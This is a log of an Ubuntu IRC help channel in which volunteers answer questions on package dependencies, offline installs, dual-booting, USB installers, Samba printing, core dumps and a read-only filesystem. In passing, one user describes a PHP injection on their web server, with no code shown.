| Haunt_House | all of that? | 07:58 |
| KI7MT | Haunt_House, Example: --> apt-rdepends --build-depends --print-state openoffice.org | grep NotInstalled | 07:58 |
| KI7MT | where open-office is the name of the package you want to know about, open-office, xterm, ssh etc etc | 07:59 |
| Haunt_House | ththe program apt-rdepends is not installed | 08:00 |
| dr_willis | so install it. | 08:00 |
| Haunt_House | dr_willis: my whole problem is that it's very hard to collect the files to install something here, so, install something to install something to install something doesn't make it much easier | 08:01 |

| Haunt_House | thank you for your help, but it complains about missing uris, maybe I get the path wrong | 08:10 |

| Haunt_House | this machine has never heard of that package | 08:10 |
| dr_willis | !info zynaddsubfx | 08:10 |
| Haunt_House | the pc im typing on isnt the one to install to | 08:11 |

| Haunt_House | can I put local file paths in there? I try to show apt-get a way to that .deb | 08:17 |
| ikonia | Haunt_House: don't try to install that way - it will cause dependency problems that you'll take a long time to fix | 08:18 |
| KI7MT | ikonia, He's trying to build a dep list frm one machine, and transfer it to a second machine to install packages, but the deps are misssing on the second machine. | 08:18 |
| Haunt_House | bazhang: why? is /me is that worse than a normal line? | 08:18 |
| ikonia | right, so "why" are they missing on the second machine | 08:18 |
| ikonia | it's pointless to do anything until you understand why they are missing | 08:19 |
| Haunt_House | ikonia: because it's a default ubuntu install without internet access | 08:19 |
| ikonia | Haunt_House: ah, so it can't access any of the repos, fine then | 08:19 |
| bazhang | Haunt_House, its not a question, it's just adding noise, so yes. just talk normally as everyone else here does | 08:19 |
| Haunt_House | bazhang: it's also an explanation what I'm doing so someone can guide me. it's not like I said I'm running around in circles screaming | 08:20 |

| KI7MT | speaker1234, normally, you can tell if it's encrypted by the error, from like tat or gedit or whatever app you used to try and open it, it will say file-format unknown or something similar. | 08:28 |

| speaker1234 | the problem is I can't remember passwords much of the time | 08:32 |

| speaker1234 | I use the same 2-3 passwords With minor variants almost everywhere. | 08:33 |
| Rory | speaker1234: If you encrypted your backups with a strong password and forgot it, you are 100% out of luck becaue that's the point of the encryption. Sorry :\ | 08:33 |

| KI7MT | Yeah. governments can "maybe" crack the PW, but not us low hanging fruit :-) | 08:34 |

| KI7MT | Lets start from the beginning, what happened and what did you do afterwards | 08:49 |
| vedic | Hey guys, not ubuntu question but based on your experience: can you suggest tool for drawing client-server communication diagram like this: http://fresherstep.blogspot.in/2011/08/tcp-server-communication-udp-client.html | 08:51 |
| KI7MT | vedic, http://www.graphviz.org/ | 08:53 |
| kervan | KI7MT: first downloaded rescue time, then tried to install it #dpkg -i rescuetime.deb, then I saw that it has dependencies on sqlite3, then I tried to install sqlite3 #aptitude install sqlite3 , thats all what I have done. | 08:53 |
| kervan | ikonia: what do I need to do for the sources file? | 08:53 |
| ikonia | kervan: apt-cache politcy sqlite | 08:53 |
| ikonia | kervan: I'm wondering if sqllite is actaully coming from the ubuntu repo but instead of of your 3rd parties, which is why it's trying to remove so much that it really shouldn't | 08:54 |
| ikonia | sqlite3 sorry | 08:54 |
| vedic | K17MT: Thank you | 08:55 |
| KI7MT | It's in Main .. shouldn't need the .deb pkg for install. | 08:56 |
| === foncurt is now known as curfont | ||
| ikonia | KI7MT: what's in main | 08:57 |
| KI7MT | sqlite3 .. why use the .deb if it's in ub repos? | 08:58 |
| ikonia | KI7MT: he's not using a deb to install sqlite | 08:58 |
| ikonia | KI7MT: he's using it to install a 3rd party that depends on sqlit, he's trying to install sqlite from main - but it's saying it needs to remove abotu 30 pacakges | 08:58 |
| KI7MT | Oh .. shoot my bad, was rescuetime.deb .. | 08:58 |
| SecretFire | is there a program i can install to transfer mp3 files via a ip address? | 09:03 |
| ikonia | SecretFire: ftp/scp/sftp many options | 09:03 |
| SecretFire | ikonia : so how do i use ftp when it says no route to host | 09:03 |
| === ubuntu is now known as Guest72995 | ||
| ikonia | SecretFire: what command are you using exactly | 09:04 |
| SecretFire | ftp <ipaddress> | 09:04 |
| ikonia | SecretFire: what is the IP address, is it a routeable address | 09:04 |
| SecretFire | ikonia : 77.181.126.3 | 09:05 |
| ikonia | SecretFire: ok, so that should be routeable, that's a public interenet address | 09:05 |
| ikonia | SecretFire: so is this machine able to access the public internet ? | 09:06 |
| SecretFire | ikonia : I have the port number too | 09:06 |
| SecretFire | yes it is | 09:06 |
| ikonia | SecretFire: ok, do you know if that machine is running an ftp server ? | 09:06 |
| KI7MT | kervan, sri mate, but all I'm fiding on this rescutime.deb SW is problems, and more problems for Linux, seems it's rather news e.g. Beta for the most part. | 09:06 |
| SecretFire | ikonia : I don't think it is | 09:06 |
| ikonia | SecretFire: I've just truied to connect to it and it's not running an ftp server | 09:07 |
| ikonia | SecretFire: so you won't be able to use that | 09:07 |
| kervan | I could fix my problem by removing rescuetime sqlite and installed all depencies manually. | 09:07 |
| kervan | Then I could install rescuetime. | 09:07 |
| SecretFire | its a peer in the nicotine program, and for some reason I cant browse him, I used to be able to, any ideas why? | 09:07 |
| ikonia | SecretFire no idea, I doubt it's anything to do with ubuntu | 09:08 |
| kervan | joj helped me on #debian channel. ikonia and KI7MT thank you for all helps. | 09:08 |
| KI7MT | kervan, well sqlite3 is not the issue fer sure, and removing all those Libs is surely a formula for disaster. | 09:08 |
| KI7MT | Oh, he's gone, would like to find out what that issue was actually. | 09:10 |
| ikonia | KI7MT: he was running mint and had screwed the repos | 09:10 |
| KI7MT | Ahh, I saw a mint url at the top but didn't think much about it. | 09:10 |
| Ben64 | i always have a "crash report detected" on my panel. how can i make those go away forever? | 09:17 |
| dachary | Hi, I'm booting a server on 12.04.3 and need to disable graphic mode ( stay in text mode always ). Otherwise the screen ( in the datacenter ) that is old complains it cannot handle the resolution | 09:19 |
| KI7MT | sudo nano /etc/default/apport change enable=0 to enabled=1 ... but ya may want to find out what's causing them first. | 09:19 |
| tasslehoff | where does core dumps from self-written programs go by default? not to /var/crash it seems | 09:19 |
| Ben64 | dachary: a server should be running server version of ubuntu and not have a screen to begin with | 09:19 |
| dachary | it is a server version | 09:20 |
| Ben64 | then theres no graphic mode | 09:20 |
| KI7MT | dachary, Info on Apport: https://wiki.ubuntu.com/Apport | 09:20 |
| Eigenaar | ben64, framebuffer? | 09:20 |
| dachary | Ben64: vga mode ? | 09:21 |
| Ben64 | the only thing that should be popping up is a console | 09:21 |
| dachary | KI7MT: how do you mean ? | 09:21 |
| dachary | Ben64: I'll check vbeinfo in grub | 09:23 |
| Ben64 | are you sure its a real datacenter | 09:23 |
| KI7MT | tasslehoff, depends on where you write them too, e.g. echo "/var/core/core" > /proc/sys/kernel/core_pattern or if like this: ulimit -c unlimited >/dev/null 2>&1 .. then NULL,, you have ti limit / unlimit them and reditect. | 09:25 |
| dachary | Ben64: :-) | 09:25 |
| tasslehoff | KI7MT: currently I have core_pattern set to the default (piping to apport), and just call abort() in my application. | 09:27 |
| clue_h | why is uBottu oped | 09:27 |
| tasslehoff | KI7MT: ah, it seems I actually got a file named core in the directory my program is | 09:28 |
| KI7MT | tasslehoff, Here's a good example / explanation on *Nixcraft: http://www.cyberciti.biz/tips/linux-core-dumps.html | 09:28 |
| tasslehoff | thanks | 09:33 |

| snufft | hey guys | 09:52 |
| snufft | i'm waiting to install windows on another hdd and dualboot between win 7 pro and ubuntu 13.04. i've read that there can be problems installing windows after ubuntu. is this any different considering i'm installing windows to another disk entirely? | 09:53 |
| snufft | all of the tutorials talk about shrinking the windows partition, then installing ubuntu on the same disk. | 09:54 |
| traplin | snufft: i've found it a bit easier | 09:54 |
| traplin | to rather just install windows 7 first, and then Ubuntu. Ubuntu will add Windows 7 to its boot loader automatically | 09:54 |
| snufft | ok, well can i unplug my ubuntu disk, install windows on my empty disk, plug my ubuntu disk back in and recover grub somehow? | 09:57 |
| traplin | snufft: not entirely sure, you probably could give that a shot | 09:57 |

| BruceS | I am using encrypted home file system for the first time on a 12.4.3 system. Always did entire disk encryption in the past. Seems very slow on directory lookups such as ls, is this true? | 09:58 |
| traplin | snufft: haha yeah, well is your Ubuntu already installed? | 09:59 |
| alexa | snufft: you won't blow it away, since it's installed on another HDD | 09:59 |
| snufft | alexa: yeah, i know, i meant that i don't want to have to blow it away, install windows and then install ubuntu again :) | 10:01 |
| snufft | traplin: yeah, it's what i'm using now :) | 10:01 |
| traplin | snufft: then yeah, as Alexa said, you can't damage it if its on another hdd. so just boot up the windows 7 install, install it as is, and you should then boot into grub again, and be able to chose Win 7 or Ubuntu like normal | 10:02 |
| alexa | http://askubuntu.com/questions/247313/dual-booting-12-10-2-separate-hdd-windows-7 | 10:02 |
| alexa | snufft: follow the link | 10:02 |
| snufft | traplin, alexa: thanks :) | 10:03 |
| snufft | i'll see how I go. hopefully everything will be ok :D | 10:03 |
| traplin | snufft: yeah :D | 10:03 |
| alexa | Make sure you have other USB hard drives disconnected when you do this. Install the whole Linux program to the hard drive you select. Doing it this way, prevents the Linux boot-loader from installing onto the windows hard drive, if you leave the windows hard drive plugged in while installing to the other hard drive, the Linux boot-loader (which is superior to the windows boot-loader) will be installed on the windows hard drive, and | 10:04 |
| alexa | will be the primary way your computer boots up. | 10:04 |
| alexa | this is what I've found | 10:04 |
| traplin | alexa: i installed windows 8 first, then Ubuntu, and it worked fine. Ubuntu did overwrite the boot loader, but it entered the windows 8 entry on its own, all automatically and fine, so i was able to boot between each easily | 10:05 |
| alexa | but I don't believe in that: If HDD with windows is present, linux boot loader would screw something on windows HDD ?!! wht? | 10:05 |
| alexa | traplin: All I know about dual boot is one failure (doing for one friend) and once I made it right (for my relatives). There's no need to use Win7. For me, linux is just fine :D | 10:07 |
| lepine | I forget with whom I was discussing this, but just for archival sake: | 10:07 |
| lepine | I didn't have any trouble recovering my encrypted home off a drive with a bunch of bad sectors. | 10:08 |

I used to work magically sometimes and I played around a bit, and now it's working everytime. I remember playing around with VPN but I didn't change any major settings. As I want to install another system, I want to know what it is in order to figure out, what to do in the future. | 10:09 |

| egasimus | and all is fine, but for some reason | 10:11 |
| egasimus | the kernel is reported to be 3.2 | 10:11 |
| egasimus | while I expected it to be 3.2 | 10:11 |
| egasimus | *3.8 | 10:11 |
| lepine | I lost a dozen files, but all the rest were fine because it's not block device encryption | 10:11 |

| diverdude | How do i restart sshd ? | 10:20 |
| geirha | meet: yes, linux doesn't care whether it's installed on a primary or logical partition. Some old boot managers had trouble if the partition was too far away from the start of the disk, but I don't think that's an issue anymore. | 10:20 |
| meet | geirha: thanks | 10:22 |
| diverdude | How do i restart sshd ? | 10:23 |
| geirha | sudo service ssh restart | 10:23 |
| egasimus | ActionParsnip: That was it. Vagrant had cached the old image and was using that even though I had the URL to Raring in my configs. Thanks :) | 10:23 |
| ActionParsnip | egasimus: Precise is LTS, i suggest you use that. Raring is EOL in Jan next year so you WILL need to upgrade to Saucy to continue support | 10:25 |

| egasimus | ActionParsnip: I was hoping I could thing about this later. My hands are actually kind of tied by the very tools I use. | 10:27 |
| Ben64 | you can upgrade the kernel in 12.04 if thats the issue | 10:28 |
| egasimus | ActionParsnip: if you have any idea how to update the kernel in a Precise box without breaking VirtualBox Guest Additions, well, be my guest | 10:28 |
| ActionParsnip | egasimus: ask in #vbox maybe | 10:28 |
| egasimus | ActionParsnip: I'll try that. | 10:28 |
| Ben64 | its not that hard | 10:28 |
| Ben64 | i didn't have to do anything special and vbox works fine | 10:28 |
| egasimus | Ben64: it's easy to do manually, but I'm trying to get the whole racket automated - I'm using Vagrant and vagrant-vbguest, and Fabric | 10:32 |
| egasimus | and I'm a Web app dev with little sysadmin experience | 10:33 |
| egasimus | so I launch the vagrant box, update the kernel, then I need to reload it so vagrant-vbguest compiles the correct version of guest additions against the correct kernel headers | 10:33 |
| egasimus | but I can't reload the box, because the pre-existing guest additions are now broken | 10:34 |
| egasimus | and mounting the shared folders fails, stopping the entire operation. | 10:35 |
| egasimus | so it's a chicken or egg thing, I guess. I've tinkered with it for the better part of yesterday and failed to come up with a solution | 10:35 |

| cfhowlett | DJones, wait, isn't that german? | 11:45 |
| DJones | cfhowlett: NOt sure, but the !at factoid refers to both ubuntu-at and ubuntu-de, plus the hostname was .at | 11:46 |
| Guest25083 | again guys i think it is possible to use the less command to edit like my /etc/environment file, and if so, how can i do this, any links would really help me, and if it can't help how can i do this, am resolving a bug of login returing login page when i login iin true data, i suppose this is the cause | 11:47 |
| cfhowlett | DJones, hmm. OK then. | 11:47 |

| jrib | Guest25083: why are you asking how to edit /etc/enviornment with less if you edited the file before? Are you asking for a way to edit inside the terminal? Less is a viewer, not an editor | 11:56 |
| Guest25083 | jrib: yes, i cannot login via UI, but i can using console, and so i want an inbuilt way of editing that file | 11:57 |
| jrib | Guest25083: you can use "sudo nano /etc/environment" To save, hit ctrl-o, to exit, hit ctrl-x. | 11:57 |

| SuperbXA | then how do I isntall ubuntu on my monitor | 12:09 |
| gac | since SuperbVM was just flooding, clearly superbxa is the same troll... | 12:09 |
| ActionParsnip | SuperbXA: : does the keyboard have a cpu and a hard drive and ram and a video chip? | 12:09 |
| ActionParsnip | SuperbXA: : does the monitor have a cpu and a hard drive and ram and a video chip? | 12:09 |
| SuperbXA | yes | 12:10 |
| Emery | ubuntu is easy to install on your monitor | 12:10 |
| ActionParsnip | SuperbXA: then its no different to any other pc. just install | 12:10 |
| SuperbXA | i have all requirements necessary | 12:10 |
| ActionParsnip | SuperbXA: then make a CD or USB stick and install | 12:10 |
| SuperbXA | how do i make a usb stick | 12:10 |
| SuperbXA | dont they make those at the factory | 12:10 |
| ActionParsnip | SuperbXA: use unetbootin in windows | 12:10 |
| SuperbXA | unetbootin? | 12:11 |
| SuperbXA | whats that? | 12:11 |
| ActionParsnip | SuperbXA: you use a usb stick with the ubuntu iso and make a bootable usb stick | 12:11 |
| ActionParsnip | SuperbXA: unetbootin is an application, search for it. The web can tell you a lot | 12:11 |
| SuperbXA | ok after i connect the blank usb what do i do then | 12:11 |
| Emery | SuperbXA, do you have the usb plugged into your cd drive ? | 12:11 |
| ActionParsnip | SuperbXA: run unetbootin and point the application to the previously downloaded ubuntu ISO file | 12:12 |
| SuperbXA | how do i plugin a usb into a cd drive? is that even possible | 12:12 |
| ActionParsnip | SuperbXA: it will put the data on to the USB stick and make it bootable | 12:12 |
| SuperbXA | hold on ill try to force it in there | 12:12 |
| ActionParsnip | SuperbXA: then burn the ISO to a CD | 12:12 |
| SuperbXA | i dont think the usb is going to fit into the cd rom though | 12:12 |
| SuperbXA | but ill try, one sec | 12:12 |
| ActionParsnip | SuperbXA: it wont, you will need a CD which you can make with the same ISO and a blank CD | 12:13 |
| Emery | SuperbXA, you can only burn onto blank USBs | 12:13 |
| SuperbXA | wait how do i close the cdrom once the usb is in? | 12:13 |
| ActionParsnip | Emery: there is no burning, usb storage is magnetic | 12:13 |
| Emery | is it ? | 12:13 |
| Emery | i thought you burnt onto usb | 12:13 |
| SuperbXA | burn? i dont want my computer to burn | 12:13 |
| Emery | :S | 12:13 |
| ActionParsnip | Emery: yes, so what 'burning' happens? | 12:13 |
| Emery | i just heard someone say | 12:13 |
| SuperbXA | wait ubuntu burns your system? | 12:13 |
| Emery | i burnt an iso onto my usb | 12:13 |
| SuperbXA | flames and all? | 12:13 |
| ActionParsnip | SuperbXA: its how you put data on a CD, it uses an intense laser to etch the surface | 12:13 |
| green_geeky_dude | o_O is someone doing a windup? | 12:13 |
| SuperbXA | oh | 12:14 |
| SuperbXA | so you mean i download and install it onto the usb | 12:14 |
| Emery | SuperbXA, do you have a zip drive ? | 12:14 |
| Emery | it might work on there | 12:14 |
| SuperbXA | then put it into hte cd rom? | 12:14 |
| ActionParsnip | Emery: you didnt. The data was copied. There is no burning. CDs are burned as a more intense laser s used to modify the dye on the disk to represent the data | 12:14 |
| Emery | ActionParsnip, I prefer 'burning to usb' | 12:14 |
| ActionParsnip | Emery: magnetic media isnt burned, that's my point | 12:14 |
| Emery | 'burning to usb' | 12:15 |
| ObrienDave | silly person, you WRITE to an USB | 12:15 |
| Emery | is fine | 12:15 |
| Emery | why would you write on a usb stick ? | 12:15 |
| SuperbXA | i dont have a drive that zips should i ahve one | 12:15 |
| Emery | that doesnt get the iso on there | 12:15 |
| SuperbXA | i have usb stick | 12:15 |
| ActionParsnip | Emery:unetbootin simply extracts the data and copies it to the storage, just like if you were putting images onto the stick | 12:15 |
| glambert | can you "su mysql"? | 12:15 |
| glambert | or run a script as the mysql user? | 12:15 |
| ObrienDave | *full moon* | 12:15 |
| ActionParsnip | Emery: do you burn pictures to a usb stick too? | 12:15 |
| Emery | so an iso is burnt on usb ? | 12:15 |
| SuperbXA | ok so once i have ubuntu on the usb what do i do | 12:15 |
| SuperbXA | OHHHH | 12:16 |
| ActionParsnip | Emery: its not, its copied. Just like when you drag and drop MP3s and images | 12:16 |
| SuperbXA | I have to burn the iso onto a usb? | 12:16 |
| Emery | can you use photoshop on ubuntu ? | 12:16 |
| SuperbXA | what does that mean?? | 12:16 |
| Emery | or CMD ? | 12:16 |
| ObrienDave | *no feeding trolls* | 12:16 |
| ActionParsnip | Emery: you'll have to check the wine appdb | 12:16 |
| SuperbXA | oh you can use CMD to install ubuntu? | 12:16 |
| Emery | wine ? | 12:16 |
| Emery | cant i open exe ? | 12:16 |

| Emery | SuperbXA, i think these people are rude, i need help also | 12:17 |
| ActionParsnip | Emery: what do you need in cmd and I can give the linux equivelant | 12:17 |

| ActionParsnip | hojgaard: in the printer setup if you use the search printers, does it show? | 12:45 |

| ActionParsnip | Nephro: then how do you know the ISO was complete and error free? | 12:48 |
| hojgaard | ActionParsnip, It is something with the authentication.. I see it when i search... But when i add the printer it says: ree connect failed (NT_STATUS_ACCESS_DENIED) | 12:49 |
| ActionParsnip | almostworking: install compizconfig-settings-manager then run it | 12:49 |
| ActionParsnip | hojgaard: run: sudo smbpasswd -a $USER | 12:49 |
| ActionParsnip | hojgaard: you can then add the username and password when you map the printer | 12:49 |
| hojgaard | ActionParsnip, on the server? | 12:49 |
| almostworking | ahh, ok thank you ActionParsnip ....... | 12:50 |
| ActionParsnip | hojgaard: yes, you are making a samba credential | 12:50 |
| ActionParsnip | almostworking: if you run 'ccsm' in terminal, it would have told you that..... | 12:50 |
| almostworking | i did a apt search on ccsm, and didnt get what i needed so ihad to ask. | 12:51 |
| almostworking | unity is new to me | 12:51 |
| ActionParsnip | almostworking: its a COmpiz plugin which has been default for a LOT of releases | 12:51 |
| hojgaard | ActionParsnip, i think i need the samba-common-bin for that, right? | 12:52 |
| almostworking | all distros i have used are debian stable based, still are for desktop, solusos , crunchbang etc. im old school. | 12:52 |
| ActionParsnip | hojgaard: for what? | 12:53 |
| ActionParsnip | almostworking: all the way bck to Gutsy in 2007 used Compiz | 12:54 |
| hojgaard | ActionParsnip, the command smbpasswd is not found at least and i install samba-common-bin, and now it works... | 12:54 |
| ActionParsnip | hojgaard: then install it, may help with the auth thing | 12:55 |

| cfhowlett | BluesKaj, confusing. I thought and stated as much only to be told that wubi, like Dracula, had risen from the grave again. | 13:05 |
| ActionParsnip | universal: have you ran updates yet, your kernel is a bit behind | 13:05 |
| ActionParsnip | universal: sudo apt-get update; sudo apt-get upgrade; sudo apt-get dist-upgrade | 13:06 |

| guus_ | I am creating an USB installer, it is already 5 minutes at 99%, this is normal? | 13:12 |
| universal | !ubuntu-offtopic | 13:12 |
| guus_ | http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu | 13:13 |
| guus_ | this is the steps I followed | 13:13 |
| guus_ | Creating ext2 filesystem | 13:13 |
| guus_ | This the message installer gives me (99%) | 13:13 |
| cfhowlett | guus_, yes that's normal. the last minutes of installing look uncomfortably like it froze. Keep an eye on it as your administrative password is required for some stuff. | 13:13 |
| cfhowlett | guus_, ext2? why? ext4 is the default? | 13:14 |
| guus_ | I have no idea why ext2 means | 13:14 |
| clue_h | it's a file system , ext4 is the newer version | 13:14 |
| guus_ | I just downloaded ubuntu | 13:14 |
| guus_ | or its my USB? | 13:15 |
| cfhowlett | guus_, you selected it. the default filesystem is ext4. more stable and improved safety. strongly suggest you reinstall with ext 4 | 13:15 |
| guus_ | Not formatted properly? | 13:15 |
| guus_ | Where did I click it, in creating the USB installer? | 13:15 |
| cfhowlett | guus_, correct | 13:15 |
| === ludkille- is now known as ludkiller | ||
| cfhowlett | guus_, right during the setup. | 13:15 |

| csengstock | hey .. i compiled a deb package using checkinstall. The app is python2.7.5. I used "python" as package name (accidentially) and it was installed. Now the debian package system tells me about wrong dependencies to python .. need python (<<2.7). I am able to remove all the python2.7.5 files (they are in /usr/local/...). However, can i remove the package manually from the dpkg system without breaking something? | 13:16 |
| guus_ | no where it mentioned ext? | 13:16 |
| trafalgar | Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right. | 13:16 |
| === mee is now known as Guest48467 | ||
| guus_ | I other words, when I do this steps again, most likely it will make ext2 again | 13:16 |
| trafalgar | When I log in that way, it accepts it but my username shows a s a random string I have never seen | 13:17 |
| DJones | D008 | 13:17 |
| DJones | Grr, wrong window | 13:17 |
| guus_ | cfhowlett, where do I set ext4? | 13:18 |
| Gentoo64 | is this just for a live ubuntu on usb? | 13:18 |
| cfhowlett | guus_, just select defaults all the way and you'll be fine | 13:18 |
| guus_ | I will plug in a brand new 32GB stick (formatted fat32 I think) | 13:18 |
| ObrienDave | guus_, ext4 is not needed for a USB stick | 13:18 |
| cfhowlett | !ext4 | 13:19 |
| guus_ | I am creating an USB installer | 13:19 |
| guus_ | No where did I change any defaults | 13:19 |
| guus_ | it gave me ext2 as default | 13:19 |
| Gentoo64 | just leave it if its only an installer | 13:19 |
| guus_ | (for the USB stick) | 13:19 |
| Gentoo64 | doesnt really matter | 13:19 |
| guus_ | Okay thanks | 13:19 |
| clue_h | guus_, i take it you are only making a bootable usb stick to boot from to then install Ubuntu onto your machine, during the install process choose ext4. the format of the usb stick in my opinion should be as the guide says | 13:20 |
| * guus_ bows deeply, thanks, turning off machine, and will boot from USB stick | 13:20 | |
| guus_ | yes, thanks clue_h | 13:20 |

| p1l0t | So I'm running this off a virtual disk, a wubi install basically and I am at 28.2/30GB so I need to do something. I never use windows ever and it's a 1TB HD so I want to create like an iso or something from root.disks or whatever it is, format the 1TB completely and load this image on there so I don't have to reinstall everything again. I backup all my data but there are just so many packages to reinstall so that's why I want | 13:27 |
| cfhowlett | p1l0t, for the record, wubi is not and never was intended for long term installation. It's a testing tool only. | 13:29 |
| LucidGuy | Anyone know if there is a way to manually adding a .deb to a local apt-mirro repor? | 13:29 |
| LucidGuy | repo | 13:29 |
| p1l0t | cfhowlett: Ah well I meant to do a dual-boot... I should have figured it out when it would only allow 30GB.. | 13:30 |
| cfhowlett | p1l0t, I've read that there's a wubi/transfer/clone procedure, but as I understand it, the actual outcome is less than pristine. I'd seriously recommend you back up the data and clean install. | 13:31 |
| p1l0t | cfhowlett: Yeah the data is all backed up, and I will do it again to make sure it's only like 1 minute old. | 13:32 |
| cfhowlett | p1l0t, download your ISO (12.04 LTS is my suggestion) and install away then. | 13:32 |

| Twinkletoes | lubse: I'd get Windows to create its partitions (you don't actually have to do the install), then install Linux on another partition | 14:11 |
| ActionParsnip | lubse: leave unpartitioned space and install windows to it later, its a lot easier to install windows first as the windows installer will blindly overwrite grub on the mbr | 14:12 |
| lubse | Twinkletoes: right now I need to install ubuntu | 14:12 |
| Twinkletoes | lubse: If you install Windows AFTER installing linux, it will completely write over your bootloader code | 14:12 |
| lubse | I have no windows installer lying around | 14:12 |
| lubse | But I think as default ubuntu installed on entire 250GB | 14:12 |
| Twinkletoes | lubse: In that case just create a partition for Windows, but beware, you'll need to write grub again after you install Windows *when you get to it) | 14:12 |
| ActionParsnip | lubse: if you are installing newer windows versions they use2 partitions, so I'd put the Ubuntu insatll on an extended partition and leave free space for WIndows to use | 14:13 |
| chrisTr87 | twinkletoes: do you have tips for me where I should get started?:) | 14:13 |

| lubse | ActionParsnip: do I need one? | 14:14 |
| Twinkletoes | lubse: I don't think so, just give it a 2GB partition - I don't think you'll need any more, reardelss of how much memory you have | 14:14 |
| lubse | I have 32GB RAM | 14:14 |

| Twinkletoes | chrisTr87: check out usbutils | 14:16 |

| Wiz_KeeD | I can, but installing and uninstalling more than 4-5 softwares i'm not that comfortable with, unless I really need them | 14:34 |
| DrFaustus | hi | 14:34 |
| ikonia | Wiz_KeeD: why not more research, more caution | 14:35 |
| Wiz_KeeD | Always good ikonia, indeed | 14:35 |

| ikonia | Wiz_KeeD: and to be honest, you're using the ubuntu package manager, what's the problem uinstallting software you don't need/want ? | 14:35 |
| Guest20717 | hi guys, i have been trying to edit, my /usr/environment file using nano on console login screen and it is as if i don't have rights to do this, even when i was using root user, what can i do, i can not login into my normal ubuntu since when i try, am redirected to the same login screen, is there a way i can manipulate the files to achieve this, am currently using a live booted mint dvd to access my hard drive files and use apps like irc | 14:35 |
| Wiz_KeeD | Yes it should be trusted but there can be glitches every now and then if you're installing and testing multiple ones | 14:35 |
| ikonia | Guest20717: are you the same person who updated /etc/enviornment for JAVA and their PATH | 14:35 |
| ikonia | Wiz_KeeD: no - there isn 't | 14:36 |
| DrFaustus | listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5 | 14:36 |
| ikonia | Wiz_KeeD: there are no glitches, this is the point of using the ubuntu package manager | 14:36 |
| Guest20717 | ikonia, yes please | 14:36 |
| Wiz_KeeD | hmm | 14:36 |
| ikonia | Guest20717: can you show me your path from /etc/environment | 14:36 |
| DrFaustus | nor,the paste option is deactivared foe these volumes | 14:36 |
| Wiz_KeeD | ikonia, do you think you can help out with the wireless driver and try to fix it once and for all? Or should I try like a fix, workaround to make the broadcast on boot and see the wireless networks? | 14:37 |
| ActionParsnip | Guest20717: is the file system read only? | 14:37 |
| DrFaustus | how xan i activate it? | 14:37 |
| ikonia | Wiz_KeeD where are you getting these fixes/workarounds | 14:37 |
| Wiz_KeeD | i'm not, i was just assuming, and asked if it can be done | 14:37 |
| ikonia | Wiz_KeeD: the issue you have is that your kernel module for the wifi card is closed source/propitary, | 14:37 |
| ikonia | Wiz_KeeD: so in terms of bug fixing, options are limited | 14:37 |
| DrFaustus | <DrFaustus> listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5,now the paste option is deactivared for these volumes,how can i activate it? | 14:38 |
| Guest20717 | ikonia: this is all that i put in the file yesturday | 14:38 |
| Guest20717 | JAVA_HOME=/usr/lib/jvm/java-6-openjdk-i386 | 14:38 |

| Guest20717 | PATH="...(other path):$JAVA_HOME:$JRE_HOME" | 14:38 |
| ikonia | DrFaustus: repeating the same thing and starting with "listen" isn't going to get much interest | 14:38 |
| ikonia | Guest20717 I want to see the full $PATH | 14:39 |
| ikonia | Guest20717: not you editing it | 14:39 |
| AcidRain2012 | how can i see who modified a file last? | 14:39 |
| AcidRain2012 | and how they modified it | 14:39 |
| Guest20717 | ikonia: that is the current value of PATH | 14:39 |
| ikonia | AcidRain2012: you can't | 14:39 |
| ActionParsnip | AcidRain2012: you can if you use tripwire | 14:39 |
| Wiz_KeeD | ikonia, yes but I think there is another one except the one i'm using, the one suggested in Additional Drivers? that might work better? idk | 14:39 |
| ActionParsnip | AcidRain2012: the file system doesnt do it by default | 14:39 |
| AcidRain2012 | ActionParsnip, ill look into it | 14:39 |
| Guest20717 | ikonia: yes the file system is read only] | 14:39 |
| ikonia | Guest20717: so it actually says "....(other path)" | 14:39 |
| ActionParsnip | Guest20717: thats why then | 14:40 |
| ikonia | Wiz_KeeD: I don't beleive so | 14:40 |
| ActionParsnip | Guest20717: sudo mount -o rw,remount / | 14:40 |
| DrFaustus | ikonia,sorry 4 the disconvenience | 14:40 |
| ikonia | Wiz_KeeD: the older option was to use ndis - but that is very much frowned upon | 14:40 |
| AcidRain2012 | ActionParsnip, ive had 2 near miss hack attempts | 14:40 |

| Guest20717 | ActionParsnip: am on a live dvd, am i to run this command on the login console screen? | 14:41 |
| ikonia | AcidRain2012 what does that mean ? | 14:41 |
| ActionParsnip | Guest20717: then / is on the liveCD, you will need to use the mount point of the partition | 14:41 |
| AcidRain2012 | its a php script that has been injected into my index.php file. it executes php code from a $_GET[] request | 14:41 |
| ikonia | AcidRain2012: so your machine has been compromised then | 14:42 |
| Twinkletoes | AcidRain2012: assuming you know who the hack attempts were from, you shold be able to sort that. Assuming someone is gaining unauthorised access to your system... using ssh etc. consider fail2ban | 14:42 |
| smw94 | i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx | 14:42 |
| ikonia | AcidRain2012: you need to conisder re-installing the OS and applications | 14:42 |
| ikonia | Guest20717: that is your problem then - the $PATH is messed up | 14:42 |
| AcidRain2012 | ikonia, this is a clean install | 14:42 |
| AcidRain2012 | clean install as of 1 week ago | 14:42 |
| ikonia | AcidRain2012: so what are you looking for now then ? | 14:42 |
| AcidRain2012 | ikonia, well id like to know what ip address modified this file last | 14:42 |
| AcidRain2012 | i couldnt find it in access.log | 14:43 |
| ikonia | AcidRain2012: how do you expectt he file system to do that ? | 14:43 |

| trafalgar | Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right. When I log in that way, it accepts it but my username shows as a random string I have never seen | 14:43 |
| ikonia | AcidRain2012: and how can it be a clean install if you are still looking at the logs ? | 14:43 |
| ikonia | AcidRain2012: if it was a clean install the logs and file history would be gone | 14:43 |
| smw94 | i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx | 14:43 |
| Guest20717 | ikonia: how can make it ok, this has been what am trying to do, but file system files are read only | 14:43 |
| ActionParsnip | trafalgar: i'd ask in #ubuntuforums | 14:43 |
| AcidRain2012 | ikonia, i said as of 1 week ago... this has happened in past 6 days | 14:43 |
| ikonia | Guest20717 copy the environment file from someone elses machiune | 14:43 |
| AcidRain2012 | this actually happened on the 2nd day i had formatted | 14:43 |
